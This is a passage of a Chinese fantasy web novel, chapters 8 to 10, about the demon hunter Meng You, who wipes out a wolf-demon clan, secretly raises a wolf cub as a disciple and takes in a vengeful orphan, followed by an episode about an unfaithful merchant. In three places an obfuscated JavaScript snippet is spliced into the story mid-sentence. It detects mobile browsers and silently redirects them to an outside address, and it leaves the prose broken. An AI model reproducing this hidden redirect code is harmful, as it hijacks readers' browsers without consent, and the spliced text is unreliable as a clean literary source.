怪不得这盒子窄而狭长,原来里面所放的竟然是一把通体漆黑的古剑,它看上去平平无奇,但段匆见到它的第一眼就觉得十分亲切,不知不觉已经将它拿出来,握在了手中。当攥紧它的刹那,她感受到一股强大而包容的法力,将她整个人笼罩起来。 好久都没握过这么合心又衬手的剑了。 她听到李刻青说:“反正魂魄也保护完了,这件法宝也没什么用了,我放着也是落灰,正好送给你吧。” “不是我说,几位天师啊,可以杀狼妖了吗?” 大家等不及了,段匆从失神中恢复过来。 “天师”之名,是极为出众、万里挑一的捉妖师才可以得到的尊称,他们初出茅庐,本是万万当不上天师之名的,但此番降服狼妖,大家心悦诚服、感恩戴德,觉得他们也算是当之无愧了。 段匆将那把剑紧握在手中,感受着它温润的脉络,再听到这“天师”的称呼,不由开心笑道:“好。” “哈哈哈哈哈,好,杀,的确该杀,早就该杀!” 一时之间,寂静如死水。 他们说这话倒是无所谓,可现在诡异的是,说这话的,是那即将被杀掉的狼妖本人。他双目血红,一下一下的拍着手,癫狂痴笑,显得可怖又可怜。 大家面面相觑。段匆犹豫许久,最后终于还是坚定的从袖袋中掏出那面尘缘镜:“在处死他之前,大家是否好奇,这狼妖所要救的是何人呢?” 8. 第 8 章 逍遥派最得意的弟子孟宥,做了一件最得意的事。 那天正好是十五,月如银盘,皎洁万里。 杨开泰吃力的拎着一个篮子,蹒跚着脚步,像以往几十年一样,来到那片坟地里。 他将篮子中洗的很干净的贡果一颗颗拿出来,摆在坟头,又点燃香烛,拿一根小木棍细细的拨弄着纸钱,好让它们燃烧的更充分一些。 一阵风吹来,好像有明灭的灰烬飘进了杨开泰的眼中,只见那张沧桑衰老的脸上,有浑浊的泪水滚滚落下。 “老伯,你哭什么?” 杨开泰揉揉眼睛,转过头,看到问话的是个年轻人,许是月光太亮,衬的这年轻人身上的白衣如雪,仿佛是个天上来的神仙。杨开泰仔细一看,这神仙般的人怀中还抱着一把锐气十足的长剑。 “老伯,这大半夜的,你为谁而哭呢?” 这年轻人看到了杨开泰面前的坟墓,转而又问道。 “我的妻儿。”杨开泰回过神来,低声的说道。 多少年了,二十,三十……六十,已经六十年了。 他已经老了,满脸沟壑,脊背佝偻。 “可是他们,却还是那么年轻,和当初离开时一模一样。”他抹去又滚落下来的泪水:“我想他们了。” 年轻人吃了一惊,不免问道:“老伯,他们是因何事去世的呢?” 杨开泰的眼神变得惆怅,回忆起了很久前的往事。那时他还很年轻,一身力气,每天天不亮就动身去庄稼地里忙活,到了晚上,再趁着月色、哼着小曲,筋疲力尽、却也十分充实与满足的回家。 那年三伏,天气很热,蝉鸣阵阵,在地里忙活了一整天,杨开泰浑身裹满了黏腻的汗水,不得劲极了。 这时,他正好路过那条波光粼粼的溪流。 扭头看看,见周围无人,杨开泰脱去褂子,光着身子跳到里面,痛痛快快的游了两个来回。然后趴到岸边,正要捡起自己的衣服来穿时,他忽然觉得有些不对劲。 一抬头,他和一个挽着长辫子、满面飞红的姑娘家撞了个正好。 杨开泰吓坏了,扑通的一声又跳到溪里,埋着头,憋住气,不敢再上来,生怕这姑娘误会自己是个轻薄浪荡子。那姑娘也羞愤的不行,她夜晚忽觉口馋,去自家地里摘了几个果子,想拿到溪水边洗一洗,却没想到撞见这一幕。 大晚上的,见到一个浑身赤条条的男子,姑娘不由得害怕。 可饶是如此,见他扎进水里,长久的不出来,她却又担忧起来。 “你、你没事吧?” 他与这姑娘就此相识,继而相知、相恋,然后在村里人的敲锣打鼓中,两人结为夫妇,成家立业。 过了一年,妻子生下一个大胖小子,杨开泰高兴的不知道怎么才好,每天更加卖力气的干活,想把世界上最好的东西都给她们娘儿两个。每天忙碌过后,回到家总是很累,但看到妻子幸福的笑容,看到儿子天真的扬着小手,他就觉得再苦也值了。 曾经一度,杨开泰以为,他这一生已经圆满了。 但这一切都从那个月圆之夜开始,改变了。 “月圆之夜,狼妖成群出巢,他们经过我们的村子,将里面杀的、杀的不剩一个活口,”如今已白发斑斑的杨开泰提起此事,仍旧恨的咬牙切齿、满脸泪水,“我因在田地里劳作,回家晚了一些,才躲过这场劫难。” “可我的妻儿,村子里的那些人,他们再也、再也……”杨开泰颤抖着闭上双眼。 那尸山血海的惨象,他此生都无法忘记。 村子里从此只剩了他一个人,惨死的那些冤魂,夜夜在村子上空哀嚎徘徊,渗人的要命,但他却一直住了下来。这里是他的根,埋着他年轻时所有的爱与温暖,他大概此生也不会离开。 他们再也不会回来了,就让他渐渐衰老,直至死亡的那一天,去和他们重逢吧。 年轻人握起双拳,不平道:“这群妖孽,竟过分至此。” 他将怀中的剑握在手中:“老伯,你等着,我今日定要灭了他们。” 杨开泰急忙劝阻:“万万不可,好孩子,你的心意老头子心领了,可你一个人绝不是那群狼妖的对手。” 年轻人却踌躇满志道:“不试一试,又怎么知道呢?” 杨开泰仍慌忙的摆手,这些年狼妖为祸一方,百姓民不聊生,前前后后,也有不少心怀正义的捉妖师闻讯赶来,试图剿杀狼妖。只是,最后的结果却始终是失败,捉妖师一个个惨死,狼妖更加得意猖狂。 只是年轻人却已经凌空跃起,驭剑而去,月光下,那袭白衣衣袂翻飞,当真有几分神仙的姿态。 孟宥乘剑向前,久久心绪难平。 初次下山,见这座村子阴气森森,空空荡荡,还以为是有什么妖邪在此,所以他才走了进来。却没想到,遇上这位老伯,听闻这桩辛酸往事。 狼妖作乱之事,他在下山之前便已经有所耳闻,此番下山,本来就也打算解决这个心腹大患,此刻既恰好遇到老伯,又恰好是狼妖出巢的月圆之夜,那么,就在今夜解决这一切吧。 越是向前,便越是觉得妖气浓重,终于,孟宥神色一变,施法,剑停。 他跳下来,只见这是一处掩盖在茂密树林中的村子,他朝里走,一路上,遇见许多惊慌失措的人,跌跌撞撞的朝他迎面扑来。孟宥逆着人流,一心向前。 一人好心喊道:“喂,那个穿白衣服的,别进村了,狼妖要来了!” 孟宥自然是知道的,正是知道,他才往村子里面走。一定睛,他见逃亡的都是些普通百姓,并不能察觉妖气,便不由有些好奇道:“这位大哥,是如何知道狼妖即将来这里的消息的呢?” “是一个捉妖师说的……” 这大哥话音刚落,孟宥便看到了他口中那个捉妖师。 只见这位同行,面容倒是清俊的,双眼也极明亮,只是衣衫褴褛,形容毛糙,十分不注重外表的样子,但是,他背上背的那把剑,却又被擦拭的一尘不染。 看到孟宥,这位同行将他上上下下打量几眼:“你也是捉妖的?” 孟宥点头。 同行哼了一声:“算了,别去白白送死了。” 若是普通百姓,害怕倒也算了,可他们身为捉妖师,怎可轻言退缩?孟宥不由认真道:“这位同行,修行之人,当以为民除害为终生之任,未战先怯,可不是我等的风格。” “我呸!”这位同行顿时就炸了:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060159|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你哪只眼睛看到老子未战先怯了,老子刚才可是实打实的和狼妖干了一场,只不过……他们成群结队,又个个法力高强,老子就、就……” 他顿一顿,重新理直气壮:“可是老子从来没逃过!他们刚刚已经在屠杀前一个村子了,我就先来了这里,让这里的人先避一避。” 他这样一说,孟宥不由又仔细打量他几眼,发现他腿上有一处伤口,陷进去五道深深的爪印,正血流不止,想来方才确实和狼妖进行了一场恶战。他已知自己不敌,却还冒险跑来将消息告诉这里的百姓,可见为人还是不错的。 孟宥便有些不好意思的一拱手:“在下孟宥,冒犯了。” 同行十分轻蔑的哼了一声:“陈道心。” “道心好友,你方才说他们在哪个村子?” 陈道心指了个方向,随即反应过来,诧异道:“你、你不会是……” 孟宥一点头:“那就有劳道心好友照顾此处的百姓了,孟宥去去就回。” 陈道心目瞪口呆的望着这小子朝他指的那方向而去,暴躁的挠了挠本来就已经乱如鸡窝的头发,破口大骂:“你他娘的活够了是不是!!!” 一旁匆匆逃难的百姓也瞠目结舌,看到陈道心焦灼的走来走去,最后一咬牙,将背上的剑又重新解下来:“老子真是服了,真是服了!” 一大哥惊道:“修士,您、您这是……” “遇到他真是倒了八辈子霉了!”陈道心大骂着,给这些村民指了个方向:“往那边跑,我们尽量撑着,不让狼妖追过来。” 大家顿时便明白,这位修士也要去找那狼妖了。 可他明明打不过,他都成这副模样了……一个人高马大的壮汉忽然捡起地上一根木桩:“俺也去!” “你他娘的又去干什么……”陈道心一惊,还没骂出口,便看见越来越多的百姓停了下来,有的一脸大义凛然,有的咬牙强撑,有的哆哆嗦嗦发抖、但仍旧握紧手中的土块、石头。 他们纷纷道:“我也去。” “我也去!” “你们修行的,看着是厉害,但也是和我们一样的血肉之躯啊。这当头上,大家伙儿要是就这么走了,看着你们两个年轻人去送死,这往后就算苟活下来了,心里恐怕也过不去那一关啊。” 大家纷纷道:“是啊,是啊。” 陈道心飞快的抹了把眼睛,挤出一个龇牙咧嘴的表情:“行了,真不怕死的,就一起走吧。” 一行人参差不齐、老弱病残、轰轰烈烈的追赶孟宥而去。 到了村口,正待鼓起勇气,闯将进去,只听突然一声惊呼,所有人的眼都直了。 只见,从那里走出来一个人。一袭白衣,染着斑斑驳驳的血迹,手中的剑,也有一颗一颗的血珠不断聚合、滴落下来,他的脸上,也溅上一行血珠,只是,这些血都不是他的,而是背后…… 众人屏住呼吸。 他的背后,乱七八糟的横卧着被狼妖咬死的凡人的尸体,但同时,也密密麻麻,铺满了狼妖的尸体。 十五月圆之夜,逍遥派大弟子孟宥,以一己之力,斩杀狼妖一族。 一战成名。 自此所过之处,无人不尊称一声,孟天师。 9. 第 9 章 “孟天师!孟天师你等等我呗!”陈道心这厮倒也奇怪,有时觉得他心怀大义,有时看来,却又觉得这人形容猥琐、趋炎附势,在这之前,他还对孟宥指鼻子瞪眼的看不惯,但在孟宥斩杀狼妖一脉后,那张脸上的笑容立马就变得谄媚起来,整天如一块狗皮膏药似的缠着孟宥不放。 “道心,何事?”孟宥无奈,实在是被缠烦了。 “仔细说说,你到底是怎么杀死他们的?” 孟宥看这情况,不说他是不会离开了,只得将自己从入村、到见到狼妖、到与他们交锋、到将他们尽数斩杀的过程细细说了一遍。 陈道心听的满脸陶醉,瞧着孟宥背上的剑,眼露精光。 孟宥察觉到他心怀不轨,立马捂紧自己的剑:“道心好友还是别打它的主意了,其实修行捉妖一事,靠的不是剑,而是人。再锋利名贵的剑,在庸人手中,便也掩了光泽,再平平无奇的剑,到了行家手中,总能有用武之地。” 陈道心琢磨半晌,忽然回过味来:“你他娘的意思,老子是庸人???” 只是孟宥已经走远了,只有一瓶酒香四溢的桂花酿被抛了过来,陈道心伸手接住,抬头,听到最后一句意气大笑的声音:“道心好友,再会有期!” 朝身后望,终于不见了陈道心,孟宥这才松了一口气。 他抻开袖子,那里面小小的狼崽似是察觉到四下无人,哼哧哼哧的爬了出来。 孟宥瞧着它,小小的、柔软的身体,灰色的皮毛,幽绿色的大大的眼睛,似是将他当做了母狼,在他身上攀来附去。 当目睹狼妖祸害村子,目睹一条条鲜活的生命在它们的犬牙和利爪下转瞬即逝,血流成河、尸横遍野,孟宥握剑的手微微发抖,眼睛发红,滔天的恨意和必要它们偿命的决心一同激荡着,他咬牙将那剑狠狠捅入一只只狼妖的身体,杀到麻木,也不停止。 妖孽,怪物,就是恶! 但当他杀到最后一只狼妖,他怔了下来。 只见这一只,刚刚出生不久,还未化形,眼神天真懵懂,看到闪着寒光的剑锋,也不知躲闪。 孟宥的手在发抖,他发现自己刺不下这最后一剑。 母狼倒在血泊中,这只狼崽叫唤了好几声,也不见她回应。它不明所以,爬上孟宥的肩,好像在向他寻求帮助。 那双眼睛,那样清澈,那颗小小的心脏跳动着,那样鲜红。 孟宥手中的剑掉在地上。 他想起自幼师父的教诲,“妖物是恶,人是善,永远,不要对妖物抱有幻想。” 可是师父,当孟宥伸出手,触摸到这只狼崽柔软的皮毛时,他心道,真的有人一直都是对的吗?生来就是对的吗? 一如这妖物,生来就是……错的吗? 孟宥做出一个决定,他决心将这狼崽抚养在身边,用法术掩盖它的原型、它的妖气。 他施法,将它化形。 狼比人早熟,只见出生不久的狼崽,化身人形时,不再是几个月的形态,而是变成一个三四岁的小娃娃。 “啊,啊!”他跟在孟宥身边,很快开始学着说话,只是不知如何吐字,只能干着急。 孟宥蹲下来,想了想,教他道:“师父。” “狮虎。” “师父。” 小娃娃学的很快:“师父。” 孟宥摸了摸他的头,笑了。 当天夜间,他这师父就给自己这弟子起了一个名,叫做金吾术。 金吾术不记得狼族一脉被屠杀的记忆,对他很是信赖与亲昵,孟宥教他人族的风俗与习惯,金吾术很快融入人族,游历大山大川期间,交到不少朋友。待他长大两岁,孟宥便开始教他修行之术,带他四处降妖伏魔,为民除害。 只是,和孟宥的师父教孟宥的不同的是,孟宥告诉金吾术:“妖有好有坏,而我们该杀的,只是坏妖。” 金吾术好奇道:“师父,那人呢?” 孟宥道:“人也有好有坏。” “那师父你是好人吗?” 这句话猝不及防,孟宥一时怔住了。 他望着金吾术,竟无法回答出来。 金吾术已经很得意的笑眯眯道:“师父自然是好人了!” 废话,他师父可是大名鼎鼎的孟天师,受万人敬仰,一路走来,为百姓解决了多少该死的恶毒妖怪。如果师父都不好的话,那世界上谁还算得上好? 这天夜间,两人并行,孟宥忽然道:“凝神。” 金吾术一惊:“师父,怎么了?” “你有没有发现什么异常?”孟宥问。 金吾术知道师父当然不是想从自己这里得到答案,而是在考验自己,他微微有些振奋,屏气凝神,仔细探查。 “好像有一股风尘仆仆的气息……有人在跟着我们!”他兴奋道。 “不错。”孟宥道。 “而且,这气息一路走来,不轻反重——他离我们越来越近了。”金吾术又道。 孟宥微微一笑:“正是,他是妖。” “妖?”金吾术瞬间条件反射的握紧剑,但仔细感受一番,却又觉得并没有妖气。 他踟蹰着,欲言又止。 “你以为,这是什么妖?”孟宥道。 金吾术愈发疑惑,但转念一想师父怎么可能看错,肯定是自己上课打盹不专心,所以判断失误了。他本想实话实说,但对上师父赞许的目光,本想坦白的话语又咽了回去,牙疼似的思索了一阵,道:“徒儿感知到他是妖,但徒儿愚笨,还无法具体知道他是什么妖怪。” 孟宥却忽然大笑了起来。 金吾术心虚又不解:“师父,你笑什么?” 孟宥瞥他一眼:“自然是笑你年纪小小,便知道弄虚作假。” 金吾术瞬间就蔫了,低下头,沮丧道:“师父。” “你明明感知到他无妖气,为何我说他是妖,你便轻易就放弃自己的想法?” “因为是师父说的。” “我说的,就一定是对的吗?” 金吾术脱口而出:“自然!”说完,却又愣了一下。 他自幼父母双亡,自记事起便跟着师父走南闯北,降妖除魔,这么几年下来,师父的为人他再清楚不过了,只要是师父说的话,他从来都深信不疑,他从来都没有想过有一天师父会问出这样一个问题。在他心中,不是有对才有了师父,而是师父就是对。 只见孟宥却摇了摇头,认真的道:“你要记住,谁都会做错,包括我。” “可……那我该信谁呢?”金吾术不解至极。 月光下,孟宥看着这孩子幽绿的眼睛,有些失神。 许久,仿佛有些叹息般的轻声道:“你自己的心。” 他伸手摸了摸金吾术的头,白衣翻飞,衣袖拂过,那双幽绿色的眼睛重新变成与常人一般的黑色。一切无声无息,不知不觉。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060160|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来吧。”孟宥朝身后道。 果然,随着这一声,一个十二三岁的少年从阴影中走了出来。 他衣衫破旧褴褛,脚下的鞋已经磨破了底,看来的确风尘仆仆、奔波许久。但那张脸上,却丝毫不显出疲惫,而是充满倔强。他朝着孟宥跪了下来,漆黑的眼睛如深潭,里面盛满一种压抑而坚定的、永恒的仇恨。 “天师,是我,特来拜您为师。” 孟宥望着这少年背上的包袱,那里面似乎是一个圆圆的东西,一阵风吹来,淡淡的酒香和桂花香从那里面飘出。 金吾术吸了吸鼻子,也闻到这味道,好奇道:“是什么?” 只见少年解下包袱,里面,是一只瓷白色的酒坛。 孟宥苦笑起来。 果然,这是一坛桂花佳酿。 五年前,他初次入世,见狼妖为祸人间,便在那个月圆之夜前去斩杀。在一个村子口他遇到陈道心,为他指明方向,说是狼妖已经将前一个村子祸害的差不多了,于是他又匆匆赶到那个村子。 一入村,他便闻到滔天的血腥味——的确,他已经来迟了。 就在这个时候,他又闻到另一种味道,那是香气四溢的酒味伴着淡淡的桂花清香,原来这个村子,以盛产桂花酿为名。 狼妖朝他撕咬而来,他带着恨意和决心,将它们杀了个干净,只留下那一只不谙世事的、还尚未做过恶的狼崽。 他本以为村子里的人已经死绝,看着这惨象,心中抽痛,于是快步的想离开这里。但忽然,他听到一个微弱稚嫩的声音:“爹……娘……” 他心头一跳,连忙在尸体中寻找。 最后他终于找到了,那是个六七岁左右的男童,喉管已经被狼妖咬破,鲜血汩汩流出,只是他却咬着牙、硬撑着没有死去,眼中充满哀恸与仇恨,沾满血液的双手,伸向他死不瞑目的爹娘。 孟宥擦擦眼睛,忙用法术为他疗愈伤口。 只是他伤的实在太重,法术终究不是什么足以起死回生的灵丹妙药,只是做个安慰,聊胜于无,能不能活下来,最后还是得看这男童有没有那样幸运的命数。 男童昏迷不醒,梦魇连连,请来的大夫见了他,不住摇头:“依我看,终究是凶多吉少啊。” 但最后,出乎所有人意料的,男童活了下来。 连大夫都觉得神奇:“他的求生意志,可真是太强大了。” 孟宥看着这男童,他已经清醒,躺在床上,黑漆漆的眼珠子里没有一丝感情,冷漠的听着这一切。孟宥心口一沉……求生意志,他看着这男童的眼睛,从里面感受到滔天的恨意。 他拒绝了男童要拜他为师的请求。 愿意收养男童的那户人家,男主人与女主人俱是和善可亲,将男童视如己出。只是男童却并不依恋他们,每天天不亮,便起来跪在孟宥的门外。 “我不会收你为徒的。”孟宥道。 “为什么?”男童咬着牙。 因为不想你是凭借仇恨才度此一生。孟宥道:“小友,凡人寿命不过百年,庸庸碌碌,转瞬即逝,痛也一日,乐也一日,过去的事已经过去,又何必耿耿于怀?眼前的温暖关爱,才是更应该体会与抓住的东西。” “我不会放弃的!”他御剑离开此地,听到下方男童嘶哑着嗓音、泪流满面的喊道。 “我不会放弃的!我一定会找到你的!” 孟宥扣紧袖子中的狼崽,叹了口气。 10. 第 10 章 没想到今日,五年了,当初那男童找了他整整五年。小小的一个人,风餐露宿,食不果腹,走过多少妖物横行的危险境地,才终于找到了他? “天师,这是我的拜师礼。”当日那男童、如今这小少年,平静而又恭敬的将桂花酿双手捧到孟宥面前。 “如果我说,我还是不答应,你会怎么办?”孟宥苦笑。 小少年道:“和当日一样。” 死也不能放弃,死也不会放弃,他会追着孟宥到天涯海角,直到他终于愿意将满身法术教授给自己,直到有朝一日,自己攀上峰顶——斩尽天下妖。 孟宥终于还是伸手,接过了那坛酒。 清甜香味依稀和五年前一样,只是不知为何,总觉得如今这酒里多了一丝淡淡的苦涩。孟宥微不可察的长吐出一口气,问道:“你叫什么?” 少年磕一个头,道:“谢仇。” “师兄,你长的苦大仇深的,连名字也苦大仇深的啊,真酷。”金吾术这家伙是个人精,见师父喝了酒,立马就知道从此他要多一个师兄了。他生性开朗,爱好说笑,更兼之这师兄从此就要和他们一道浪迹天涯、路见不平了,大家长久相处,总归是个照应,于是立马很屁颠的套起近乎来。 只是显然,他师父教他心怀正道,教他匡扶苍生,却没教他如何才能拍好一个马屁。 于是金吾术这马屁,不偏不倚的拍在了马屁股上。 只见谢仇淡淡的瞧他一眼,幽深的黑眼珠子里无半点情绪,就好像他是个死物一样。 “哎哎哎,师兄你怎么这么没礼貌啊?”金吾术不满意了。 这次谢仇连看他都懒得看了。 金吾术彻底愤怒了,觉得自己真是对牛弹琴,人家都这样了,还套什么近乎、甚至讲什么礼貌? “喂,新来的小叫花,别以为给你三分笑脸你就能蹬鼻子上脸,哼,你有剑吗,杀过妖吗,见过妖怪狂躁暴怒、张牙舞爪、迎面而来吗?只怕当时要是你在场,裤子都会吓尿了!” 谢仇置若罔闻,只紧跟着孟宥的脚步。 金吾术:“你、你……过分至极!” “师父,你看看他,你管管他……”金吾术扯住孟宥的袖子,撒娇般晃来晃去。 孟宥也不说什么,看他二人一眼,微微笑了笑。 恨能滔天,能蒙蔽一个人的双眼,让血肉之躯为之腐蚀、日渐一日,终至化成一副空壳。 但…… 总能放下的吧?总有些东西,能让人放下的吧? - “孟天师!果真名不虚传哪!”赵员外被吓破了胆,扯着救命恩人的袖子,一把鼻涕一把泪。 他赵某人曾经一度贫寒,幸好糟糠之妻不离不弃,一路扶持相伴,才终于有了今日这柳暗花明。他们的生意日渐壮大,从漏风漏雨的茅草屋搬到了气派名贵的大府邸,绫罗绸缎,穿金戴银,从此,可真谓是过上了神仙般的日子。 但古语云,温饱生□□,更何况,他赵某人如今财大气粗,早已是单单“温饱”二字可囊括? 于是这□□,自然也就随之而来、并且大的无法无天了。 赵员外瞧着自己的结发妻子,如今虽然有侍女伺候着,穿的好、打扮的好,发鬓高高盘起,再戴一支薄如蝉翼的金流苏簪子,走起路来,一摇三晃,确实比以往增色不少。可是到底,本色难移啊! 他这夫人和他共住茅草屋的那些年,一张脸风吹日晒,疲于保养,一双手干遍了各种各样的粗活,干裂粗糙,状如树皮。这么一个人,再怎样攃上厚厚的胭脂水粉,也无法将那些丑陋完全遮盖,有一次赵员外经过一家醉仙楼,略为打量一番,发现他这夫人,竟连醉仙楼中最次等的姑娘都比不上。 人家那的姑娘,即便最次等的,也是面如凝脂,色若春桃啊! 这回了家,赵员外就叹气不止。 手下一个小厮瞧他这模样,哪里还不知晓他的心事,眼珠子一转,偷偷在他耳畔说:“老爷,您如今财大气粗,想要什么,还买不到呢?” “我又何尝不知晓,只是兰若她与我共患难、同吃苦,当日我落魄时曾许下誓言,这辈子对她不离不弃、忠心不二,如今苦尽甘来了,也不能过河拆桥吧。”赵员外假模假样的伤感了一番。 “老爷,”小厮尖声叫起来:“您对夫人那还不够好呀?” 赵员外想要听的就是这个话,眯起眼来:“细说说。” “老爷,不瞒您说,您如今这钱庄的生意,我看哪,和夫人是半点关系也无。老爷能有今日,全是凭老爷自己,勤快、机敏、敢动手,夫人有什么用哪?从头到尾,不过是为老爷洗几件脏衣服、做几顿粗茶淡饭——这些活计咱府里哪个侍女不会做呀?”小厮说的条条有理,赵员外不住点头,双眼细眯成一条快乐的缝。 “如今老爷富贵了,对夫人不仅不嫌弃,还将一半的富贵分给她,这可真是夫人几辈子修来的福分了!老爷不仅是仁至义尽、更是对夫人掏心掏肺了!” “好,说的好!”这番话正合赵员外的心意,掏锭银子重赏了小厮,袖子一甩,心安理得的出门找风流去了。 和这小厮同在赵员外手下的另一个小厮多福,瞧见人家能说会道,仅凭着一张嘴,短短片刻就得了一枚银锭子,不由得又羡慕又嫉恨,但绞尽脑汁半晌,也不知如何讽刺。最后,他突然脑瓜子一转,双手一拍! 只见多福清清嗓子,为那貌若无盐、平日里他从未敬畏过的赵府夫人杜兰若说起话来:“你教唆老爷出门寻欢、背叛夫人,你可对得起她?” “得了吧你,装什么装?”得了银锭子的这位,又怎会看不透多福这小心眼里的所思所想。 “就是我不说,老爷也早就想去外头快活快活了。如今我不过是卖他一个顺水人情、挑着他可心的话说几句,他得了高兴,我得了钱财,我们两厢欢喜,哪里要你这个丑八怪多嘴?” 多福气死了:“你你你……” 这小厮将银锭子高高抛起又接住,洋洋得意道:“我怎么了?做人嘛,就是这么个活法,况且男人三妻四妾,本来就是寻常。” 他心道,等我和员外一样有钱了,我何止是三妻四妾,我要十妻九妾呢! 本来嘛,做男人的,哪有不花心的? 赵员外出门寻花问柳时,也是这么想的。他去醉仙楼里,一掷千金,点名要头牌出来相见。 待那头牌掀开那流苏帘子,赵员外眼都看直了。 只见她怀抱琵琶,身段婀娜,容貌妩媚,风情万种。身上穿一件薄薄的紫色纱衣,香肩露出半边,一靠近他,便有一股醉人的幽香。 赵员外整个人都酥了。 “你叫什么?” 这头牌施施然施个礼:“小女花蕊。” “花蕊?”赵员外嘿嘿笑个不停。 很快,花蕊便成了赵员外的心头好,他不惜花大价钱将她从醉仙楼中赎身,为她在城外安置了一座宅子,从此时常不回家,与花蕊在宅子里颠鸾倒凤,可谓乐不思蜀、流连忘返。 只是没想到,这宅子地处偏僻,不知什么时候,就被妖物盯上了! 那妖怪掀了瓦片,从屋顶飘落而下时,他正蒙着眼睛、衣衫不整,和花蕊打闹调情。 “心肝,你在哪儿啊?唉——” 赵员外扑了个空,心头有些疑惑,怎么心肝突然不笑了,这叫他还怎么找得着啊? “心肝,”赵员外看不见四周事物,跌跌撞撞道:“你发个声儿啊。” 好像是有一声短促的轻笑。 不过比花蕊的声调冷了许多,也危险了许多,但赵员外已经心神荡漾,哪里还顾得上这些? “抓到了!”他扑过去抱住自己的心肝,正得意大笑呢,忽然觉得有些不对劲。 他颤巍巍伸手摸了摸。 怎么这衣服突然变厚了,变硬了?再摸摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060161|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,怎么粗大了?再摸摸脸,怎么不娇嫩了? 赵员外僵硬的扯掉眼睛上的布,一瞧,眼前的妖怪饶有趣味的伸出长舌头,舔了一圈嘴唇。 哐当一声,赵员外晕了过去。 晕,当然是假晕。赵员外曾听闻,有些妖怪、例如黑熊精,对死人是不敢兴趣的。他期盼着能用这法子蒙混过关,让妖怪放过他。 赵员外晕着,耳朵仍仔细听着周围的动静。好一会,妖怪都没有发出声息,他不由心中一喜——莫非真骗过妖怪,它走了? 于是他偷偷将眼睛睁开一条缝,想看的清楚些。 结果刚一睁开,就看到妖怪似笑非笑的猩红眼睛:“醒来了?” “啊——” 赵员外撕心裂肺的惨叫起来。 本以为自己在劫难逃了,但没想到,就在妖怪伸出利爪之时,忽然有一柄剑穿透窗纸,从外面飞进来,牢牢的,稳稳的,钉在了妖怪的心口。妖怪发出惨叫,赵员外吓的腿都软了,站不起来,狼狈的爬着逃出了这里。 “孟天师要多少钱,赵某人都心甘情愿啊!”经历这一场,可真像是重活过一番,钱财什么的,此时在赵员外眼中还不如粪土。 他拉着孟天师的手,可谓涕泪纵横。 却忽然,见一旁另一个丰神俊朗的年轻人笑的腰都弯了:“哈哈哈哈哈哈哈哈哈!哈哈哈哈哈哈哈哈哈哈!我师父在这儿呢,你抓的那位是我师兄!” 赵员外懵了:“啊???” 他打量自己抓住的黑衣青年,只见他不苟言笑,气质沉稳严肃,的确隐约有天师之姿。可又仔细一打量吧,还真是,这青年有些过于偏执和年轻,还未修炼到一定境界。 一旁另一个年轻人还在笑个不停,眼泪都笑出来了。 孟宥无奈道:“金吾术,别笑了。” 其实吧,还真不能怪赵员外。 十来年间,这两个徒弟已快速成长起来,身量变得比他高大,尤其是谢仇,这孩子自小早熟,往哪儿一站,沉静如水,由不得人不敬畏。 除了赵员外,也曾有不少人将谢仇认作了他。 “赵员外,”金吾术笑完,道:“妖怪我们已经解决了,但你那位心上人见到妖怪来了,慌张逃走之际,宁愿顺手抓走几串金银首饰,也不愿叫上你一起逃走,唉,有道是金钱有价,情义无价,赵员外失去无价之宝,可要多多节哀啊。” 赵员外也已经失望看开了:“让她去吧,从此后,我身边再也没有她了。” “不过还好,”他庆幸道:“她并非赵某人的结发妻子,一件玩物,丢了也无妨。” 说这话时他便想起兰若,自己的结发妻子,当年最为困苦之际,她宁愿不吃也要偷偷把东西省出来给他吃。赵员外心中顿时一股暖流,想到若是她遇见了妖怪,宁愿自己死,也会将他救出来吧。 他暗暗发誓,从此往后,一定要对她好。 却忽然见金吾术脸上忽然浮起一个狡黠的笑容。 赵员外愣了愣,福至心灵的往门外一看,顿时七窍都飞了——只见不知何时,这三人竟将他的发妻带到了这里! “兰若!”赵员外一身冷汗,失声叫道。 却只见杜兰若冷冷一笑,转头就走。 她一边走,一边尽数扯下身上羁羁绊绊的绫罗绸缎,那个背影那样决绝,赵员外不禁想起他二人还年轻时,相互扶持、在寒冷的冬夜中裹着唯一的一条棉被取暖的场景,那时他将她冻肿的手握在手心中呵气,她扭头朝他笑,头发粗糙、形容平庸,可那时他却觉得世界上再也不会有人美得过她。 如今他们锦衣玉食,可一切怎么都变了? 赵员外捡起院子中她扔下的那支金钗,钗子黄澄澄的明亮,足以看得清自己的脸,可到底金钗非明镜,人脸映在其中,竟觉得面目全非。 心一阵一阵的抽痛,他怔怔想道,赵仕成,错的,究竟是这财富,还是这人心? 11. 第 11 章 